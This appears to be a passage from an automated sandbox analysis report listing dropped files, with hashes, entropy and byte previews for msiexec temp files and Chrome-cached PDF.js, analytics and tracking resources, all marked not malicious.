MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7C12A0980E0341BD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2010078231228034
Encrypted:	false
SSDEEP:	48:YnQuGO+CFXJ5T5LH9q2rTrISCrKAECiCyjMHosrISCrAT:mQMhT1bIrREC0MXIr
MD5:	1CC63AD0236B9FD01258848B53E8DC1C
SHA1:	549C3AD7181166563315136E5F5083FAD864CF2D
SHA-256:	0F7B904B00B42CE1EACB90200650A7239CD026ED7E6D2009ECDC21C21D2A2E29
SHA-512:	D41DDB5DBA6B802F5AF5A08576D2F52FA5F1EB9A15BF75FAD7AC90D2CD7FB8C48BAD6B34309E21C2DB9561EDC20B5A04E40592AA45311C752CFB5EA24093AD60
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7E124C64CD205D16.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.10993512095408893
Encrypted:	false
SSDEEP:	24:eiscTxkrIipVkrSkrIipVkrKAEVkryjCyjMHV2BpGx1F+s9kNm:nTerISCr9rISCrKAECiCyjMHoCFh9qm
MD5:	64674FDEBEE8959EC57B9BA3B8561932
SHA1:	E8338F1BA6818A2240BF95012FB62BC4F9AF8160
SHA-256:	01C4F34D4BCB3701DDC91D72270F5162196323D2B6ABC15DA14FA9E61BCD5B15
SHA-512:	89EF374534CEA1E38E04C8118E8B062E932BD3A3C2A939DEA72E41D2DFF5BFEF6119A1252E598CFA1B7F22B0F541130221C31433F97675CDF0F6F62A1AC98353
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF83EF3E2228E60DA1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4913866617723437
Encrypted:	false
SSDEEP:	48:gk8PhYuRc06WXJEFT5JH9q2rTrISCrKAECiCyjMHosrISCrAT:g7hY1HFTXbIrREC0MXIr
MD5:	5FA4F3777AFED7D2C3160460CBA59FD3
SHA1:	364F68A4E46DA9A9BDDFD5CB3E6A5775EB8F38D1
SHA-256:	D7A4929F00C7FDC6C25A568B1772769ABDF7DB9E0C31BCC74018AFCF09BE629C
SHA-512:	EB8B3B0DE4B89CE4BEE4460B2CDF84F3100B60345425B0BED9317CD1720D08D53E19B513B115DD28F1F42A372D2C5762FD66824245567E93AE0F539CB9785DB0
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC65DE955AFE099B5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC70D137EBF5053CA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06960580693081389
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOBAbau0tqVky6lf1:2F0i8n0itFzDHFBA2Dd
MD5:	43BB15BA130BA0F94975D8814DA37946
SHA1:	FD1B14A0738F868270B2C8E1F191B745910DF974
SHA-256:	C5A8E2D9629DE3B4B49C6807753DD02C82C8B2DC2B62E8221418A80787E21B9E
SHA-512:	3254140CDFEFBE596D43C36B89329A3948B62DADC7A13ED5AC2AF34969D9B4BD8AA77640A1247E27F568ABC0A071E9F324BC1A1FA12A81B9D4C819EA38037199
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFCDAAC03444DC54EC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFDD111DF183B49079.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6017)
Category:	downloaded
Size (bytes):	264999
Entropy (8bit):	5.542555105716695
Encrypted:	false
SSDEEP:	6144:9eFnxSuz4vWrpam3iGK2/iJ6gFfWyWlRQzkC:s9x/4SwmizkC
MD5:	ECEE00522D56E831D99662FBD32582EB
SHA1:	9318F616E77917CE82DEF6980FB002C49C70C0F2
SHA-256:	D458138496097A2F230A5283D39A0CE1721185D4CDF2F42750AE22A2E8177189
SHA-512:	7183A6916F95EAA45E7F49EE43300C46C1DE44B1030FA6E339577A6A2462F112EDB4EB77FA36A1F0BFCBB006EBAFF98DA39C48C564F6FC00E63D085608B7223C
Malicious:	false
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-WMC2XB2
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"20",. . "macros":[{"function":"__aev","vtp_varType":"TEXT"},{"function":"__e"},{"function":"__gas","vtp_cookieDomain":"auto","vtp_doubleClick":false,"vtp_setTrackerName":false,"vtp_useDebugVersion":false,"vtp_useHashAutoLink":false,"vtp_decorateFormsAutoLink":false,"vtp_enableLinkId":false,"vtp_enableEcommerce":false,"vtp_trackingId":"UA-65975841-1","vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableGA4Schema":true},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_name":"gtm.elementClasses","vtp_dataLayerVersion":1},{"function":"__v"

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64347)
Category:	downloaded
Size (bytes):	223733
Entropy (8bit):	5.454805985390715
Encrypted:	false
SSDEEP:	3072:H88WClBUIncVuP0bteuvQ+AMPpgArl0xYu5GKndQ:H8lWBU7O0bvQQGArHu5GKnG
MD5:	7C75053C3DC6FBEF27DB57E11E5C63C4
SHA1:	CAFC7264C0B8224F621BFABAF588905552008D49
SHA-256:	E9C370EA9070B144ED45FF5F35C9206112DD1091326FF898F414EF8C12EC85C0
SHA-512:	92F72DC113DC761AAFB2F630C77773C19029C9C0CB995238281AC5109AAA043940B1E681EB9EEACD8E436141BD97928985B679B1515166227097E4772E1FE1B7
Malicious:	false
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	228
Entropy (8bit):	6.632698892400211
Encrypted:	false
SSDEEP:	6:6v/lhPO6/xNHtFkjrqGN1vn9ZcoorDo6Y5p:6v/7PtF0hBnERX+
MD5:	2EA6705576FE356905AC45EFDE033F92
SHA1:	D2A3B48264261A7799CB452C22746B8B049992E0
SHA-256:	D4F52788ED0F93EF168D1874A697AC36659BD96D743D16CA9822E267965A0052
SHA-512:	60B9D3454D020A666071E65BDBBE6A60B42A71A6D50621630E2B8DC0D7306826E9F37D3BFCA330BC4C3A0E07857BD0ACD02230EA1D3BCACE534E48DAFC92B53D
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx..1..@.E..O...w..x.."z .XB ....A....AQ......B.bv.6...u....1t1A...s..E...1...p....:.... ..!....z81.X.{.B.q.2.......Za...2.U..K..m.2..).G.G1.5:f.&.2d:b.'RK....?...I6.......IEND.B`.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2854)
Category:	downloaded
Size (bytes):	194683
Entropy (8bit):	5.230740305618946
Encrypted:	false
SSDEEP:	3072:LnxqWXUPZBnCrq2NL0FAal5fCIW3LF0fYkgw83HGEv9ePyjMcu9zaJ:LnxqWXUPZBnCrq22FAS5fCT3LF0fYkgj
MD5:	A7E08D94E388C070AC89C26379794918
SHA1:	50FAC63027C616A9CFD60357B974DA1F6D8206CA
SHA-256:	5F4F18A767DA09719D3E901D5F3F96563AAC068F7BA88BAD7081A3593D6B1694
SHA-512:	C1921D7C98EF8638CE9C294A7E7A726043BC32554BA4EE8EA02CB3E63154AEC71DAB4484D7866924B5705FDB61ABCF801FB87E5C3D417050543E7DB6407158C9
Malicious:	false
URL:	https://www.quadrix.org.br/web/viewer.js
Preview:	'use strict';var DEFAULT_URL='';var pdfjsWebLibs={pdfjsWebPDFJS:window.pdfjsDistBuildPdf};(function(){(function(root,factory){{factory((root.pdfjsWebGrabToPan={}));}}(this,function(exports){function GrabToPan(options){this.element=options.element;this.document=options.element.ownerDocument;if(typeof options.ignoreTarget==='function'){this.ignoreTarget=options.ignoreTarget;}.this.onActiveChanged=options.onActiveChanged;this.activate=this.activate.bind(this);this.deactivate=this.deactivate.bind(this);this.toggle=this.toggle.bind(this);this._onmousedown=this._onmousedown.bind(this);this._onmousemove=this._onmousemove.bind(this);this._endPan=this._endPan.bind(this);var overlay=this.overlay=document.createElement('div');overlay.className='grab-to-pan-grabbing';}.GrabToPan.prototype={CSS_CLASS_GRAB:'grab-to-pan-grab',activate:function GrabToPan_activate(){if(!this.active){this.active=true;this.element.addEventListener('mousedown',this._onmousedown,true);this.element.classList.add(this.CSS_CL

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
URL:	https://td.doubleclick.net/td/rul/341894994?random=1715325658478&cv=11&fst=1715325658478&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1
Preview:	<html></html>

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	231
Entropy (8bit):	6.64745826698359
Encrypted:	false
SSDEEP:	6:6v/lhPO6Rsyo61WzFiTuRJ6ViiLc7IcojRMyX1SEs17/p:6v/7PRs6wxRJHioccojqy0R
MD5:	7672D4F212F165173EE3A7D8966C2DEF
SHA1:	CE1743FA94AA54F366DDA3D7D3EDB53EBE30636B
SHA-256:	36327DB20039663509197A1DDF1203F0F17D8A72F391BBE60F1E3C4D4D1E7B18
SHA-512:	95AE07CB7CB641129F0E30C703C4903E7ED714B8DBE45A4B5623E16B328D57474CAC41BB39476B3A393558768BA8E7F94DC0F76B5BDD1787D867E37FAB685273
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-pageUp.png
Preview:	.PNG........IHDR...............7.....IDATx.c ......>......v\...?.......Mz.P....Y[.7.......y...7....&*..l.I..r.aB..z..C.......!"@..w.G@..<..9.(.}.....j.E..e....N,.fF.?..0....B.=...{....$. ....l.^.c.g`e`...z..........IEND.B`.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with very long lines (40529), with no line terminators
Category:	downloaded
Size (bytes):	40529
Entropy (8bit):	5.1546884056424815
Encrypted:	false
SSDEEP:	384:cZP7Sf4l+NHqYoiyeF1Nn7/C0m82pCFj0Jo7FzqwchkIGsQ:cZP7Sf4RelzC0m8buhkT
MD5:	752C27265F097D873B49222DAF8B1B5B
SHA1:	A96ACD322207C5BA762CFB0D0C5CD69F66F47E7B
SHA-256:	2404A2A30ED4FC7D99833E0C2DCA5CD23C128C5B68C80536839A24B0AC54E8B4
SHA-512:	238BB6C582FDAA34A59C3C8A20CE574D32E1B254CF92DEB70193BB861D1D8ACA762D69BDA7C78A5950F2149095A3DDED8B4DA67BD1C0E0118B1A2C3BF8259ACA
Malicious:	false
URL:	https://www.quadrix.org.br/web/viewer.css
Preview:	.textLayer{position:absolute;left:0;top:0;right:0;bottom:0;overflow:hidden;opacity:.2;line-height:1}.textLayer>div{color:transparent;position:absolute;white-space:pre;cursor:text;-webkit-transform-origin:0% 0%;-moz-transform-origin:0% 0%;-o-transform-origin:0% 0%;-ms-transform-origin:0% 0%;transform-origin:0% 0%}.textLayer .highlight{margin:-1px;padding:1px;background-color:#b400aa;border-radius:4px}.textLayer .highlight.begin{border-radius:4px 0 0 4px}.textLayer .highlight.end{border-radius:0 4px 4px 0}.textLayer .highlight.middle{border-radius:0}.textLayer .highlight.selected{background-color:#006400}.textLayer ::selection{background:#00f}.textLayer ::-moz-selection{background:#00f}.textLayer .endOfContent{display:block;position:absolute;left:0;top:100%;right:0;bottom:0;z-index:-1;cursor:default;-webkit-user-select:none;-ms-user-select:none;-moz-user-select:none}.textLayer .endOfContent.active{top:0}.annotationLayer section{position:absolute}.annotationLayer .linkAnnotation>a{positio

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 48x48, 8 bits/pixel
Category:	downloaded
Size (bytes):	3774
Entropy (8bit):	3.184536596999118
Encrypted:	false
SSDEEP:	24:d4QSBuCU2RNNI7sV2f9WsKZhSjqPbA3fBu4/HleKO83S6uWWWW36dv:wuC3NUsVKWVZgmPMd/Hl13SNu
MD5:	B177846B5FC625FAC76844F8C4ED37D4
SHA1:	94F440DFA8E0733C416A8148C81FB8D43E73BEA1
SHA-256:	43682CAA9F50123373B0F60A9F0529E8A0F7A247413433129CC1734F20E37E60
SHA-512:	3F5DB41DD21B4C468F99633D800D757233C451CB65DA5724E025F70E91CCD129EDA2DE9EEDA93FB03DCB784C31D74676586799EF7DC90FF717D19CF1C47F934B
Malicious:	false
URL:	https://www.quadrix.org.br/favicon.ico
Preview:	......00..............(...0...`....................................(..]`c.ijo.gim.bcf.ijm.]^a.................)/.;<A...........................!.....BCH.XZ]....... .....$%).................^^b.vxz.................IJL.......".....................cch.368....... .......!...$.............025...$.....,..FIM.......!....../1.............JJN.suw.........efh.............LMQ.........>?B....... .................adf.:;@.............EFJ.PTU.......!.NPR...........................#..........!#.(*......IIM.....56;.CDH...". "&.qsu... ...!.....NOR.ddg.................579.............nnr.8:<... ...............!.....:<@.."&.....+,0...!.....127.............@AE.KLO....... .....hkm.....LNQ.FGI.............CFI.........KLN.8;=.?AE.@DE.;>?.acf.>>B.BDE.@AC...................................................................................................................................................................................................................................................................

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	130
Entropy (8bit):	5.758422698577114
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtsBxd/SZX6AaGdEFkpid5Cr+3/etIldp:6v/lhPO6C6XNemidP/eup
MD5:	598830CE143BD7F5AD4123D04B71B3E5
SHA1:	4057D6DACEDD473B2950395229EEF7F40123F34E
SHA-256:	E95AC239FD0617E22DE2F23493B5B9676884032B9DEF5810010298E79A2774C2
SHA-512:	FAD3996D6764124C71EC39875D26E1D71985A250E17894F563861B0DB18ADECA3B16748284ACB7AE2AD03D387DCBEA4200E19914B1502CD8174C907E057F16D2
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-zoomIn.png
Preview:	.PNG........IHDR...............7....IIDATx.c.;....;T.&4.....?@H......:.B....... ..........s06v.N.?Iu_`.......+..N.-....IEND.B`.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.99823403140742
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6Pt5BxdHFaeptPNDG/r2Nv/bp:6v/lhPO6jBrg29Ny/roTp
MD5:	9D97BD5660F537CDA28D2814ADF9F1DF
SHA1:	78E8CB1F0CBE8AF7A48AF260B4DE8057C24DF49D
SHA-256:	F1FFDC61C1484822A4C534A0D79F77C4A1EC5332F25981B048037535805440C7
SHA-512:	A62B3FF91C356EA9CE12338E1352FCAA683EE183B5A60E49790F60F909CD4F12FDFA5C9FF1C14FB845959928A164E7FF681897C3B3FC317EB0A278D8742CB237
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-zoomOut.png
Preview:	.PNG........IHDR...............7.....IDATx.c.Q..;L....&D5..........'.gx......IEND.B`.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	250
Entropy (8bit):	6.825119702118171
Encrypted:	false
SSDEEP:	6:6v/lhPO6xdzEBvztEiBocmPsuvhjI1CfPKeup:6v/7PrYBrtZnWsuvhjbc
MD5:	18292B9234A01EF9672A52D648F2A42B
SHA1:	A87F8BDD390BC51EF463088C0E9B936E19451054
SHA-256:	148415F46BDFACE10CFC6CDC5FFE16E55EFE4F559854342E30A002DD5FAD917B
SHA-512:	796186E490984B2C8B2BD3EA0D113A92F43815F7E8560C3E0F7D485BAA7779722FB1DDCEB244D9C157A550844595C780F8B05B38799E103CAE031C972430542A
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx....P......V......]BC.GDW.....XC.........$....NOG.}......>...+?.7....P...>3D...C^.K..*1`X.>}...##..."..-...y......Cg<.....m...z..xo.dO.f..6P%o..=9.]...z..zDk1.B.Y..m>..F.EQ..F...w6.S......IEND.B`.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	309
Entropy (8bit):	7.019311728235004
Encrypted:	false
SSDEEP:	6:6v/lhPO6DAJprZO5UrO9T0cM+JWLE5PKT+wmOsUSkfHfZZ8zSjp:6v/7PUfZEUrWM+JWLEACi0kf/4WN
MD5:	273CFFAD049D5B4E1F0A9D7AF149E597
SHA1:	14C3EF60D3979DF9E8D13CF39CAD10ED043F5578
SHA-256:	0A0C8700265901B93FEB0814D2DB720D0E4F0B66EBFA98F717D1DC4E28E36646
SHA-512:	82AD162E40244A791A9B39E42F5FCE43E209696A3FB94A23CF374CE84B09D700405A6D26CB3DB9FC84A0D16A5D4ED0226E1BFC4B7A5D09442B1D8EB785C2A49B
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT.....J.......4.&m.N..kX.......m9.9...8..c.E.?...=$E...{.....xQ...H.C.......w.1.f...1...-l.W.o...U.n....&%...Z...9....\.N..T..k..1iw....vL..^.\|.h.#Ms\|%..CL.E....^.."........].X..B.#.5.O..Q.9.Q..@k.c.g..w..V.S\q...w.s{.RP?{9{.....".TP......H..7.....IEND.B`.

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2707), with no line terminators
Category:	downloaded
Size (bytes):	2707
Entropy (8bit):	5.859076527464757
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqefq7SWWdCC6jykt084NfuskpQOxGhG9QW6:wsbSUtJfxrqvWWWdV6j18fulpK
MD5:	6DE82F0365B00BAFCEA4700867D71170
SHA1:	86BD38BF807D3B33D1C3A6BF9103AA6A04830B48
SHA-256:	845EEA7673C877F4946D9B8DA77B800FE678104488EA17478A70DEFDA1FB2E9A
SHA-512:	2AF26809F4513135689857174D93505FF4B64031121AD8971C2443532F517645197F92D5C3CDD8C7EE5500B91BECFA180964E8E68677AF50F47313820A270A1A
Malicious:	false
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/341894994/?random=1715325658478&cv=11&fst=1715325658478&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.567192393334574
Encrypted:	false
SSDEEP:	3:Inr0PFNyPpjAGhkQcdGAjJiY:xFUPpCQfAB
MD5:	5B097458FA4F770A62F2D7117EE8BF1E
SHA1:	84F2A6D1D883E38D3900DA173DCFD4E2912348B3
SHA-256:	1912F23E05FCC6C2879D8BA3DF1DAB33D10365AB5628FB1D5455B7AD1E591865
SHA-512:	6C007F4F3327F390714211F0B03247BDC8105AECB78BAF6947E59E23B7933040FFFF6E2DD720D95E75DF28D6C362A18060FFFE5A75F5D05B8B42E7C08725F405
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISLAnvpBeQ0JT_ZBIFDZj0ia4SBQ3gJIqZEgUN1eRXnBIFDZVrLGoSBQ18gFM1?alt=proto
Preview:	Ci0KBw2Y9ImuGgAKBw3gJIqZGgAKBw3V5FecGgAKBw2VayxqGgAKBw18gFM1GgA=

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 7 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.417537183452763
Encrypted:	false
SSDEEP:	3:yionv//thPlyvtJP9lxSfCRfeaCzniXybcekCXXg1p:6v/lhPwXlgCyX+p
MD5:	B79C13C3BF6B349B79DAA9D6DBD3F67D
SHA1:	E46A64BD35AB488DA87933C65DE0CFDB0FC40E3B
SHA-256:	C74F3BF3B679D25FC18D11403A3BFFB898F1CCA4D06BE4340760EA6B528B4606
SHA-512:	A582152B535595BB1A40C4B1315153F80BF3873EB5053C79FC80D7D7BF7ABEBA151339C5922634F11349B140D411FFB309E6BD357F88C6A6880D2896A2DD3790
Malicious:	false
Preview:	.PNG........IHDR.............p..{....IDATx.c.......??......g@.....r@p.~3..c....R.....'..}......IEND.B`.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	320
Entropy (8bit):	6.855362434439795
Encrypted:	false
SSDEEP:	6:6v/lhPO6kiOaiVA0fOfHialPl4OaXVO2IVhOVwDV40iNkhdgJJkldp:6v/7PkioVhQiuPiOqVP9WDKhod0sz
MD5:	1B85627C7F1269D73A0434A9ACC7D38E
SHA1:	E0688579041DDC31EA08B943117A540C80BBAE7E
SHA-256:	AE0F92C4E5900ED69110463259A88D1D50E74334080CE5ED43388662C289EAB4
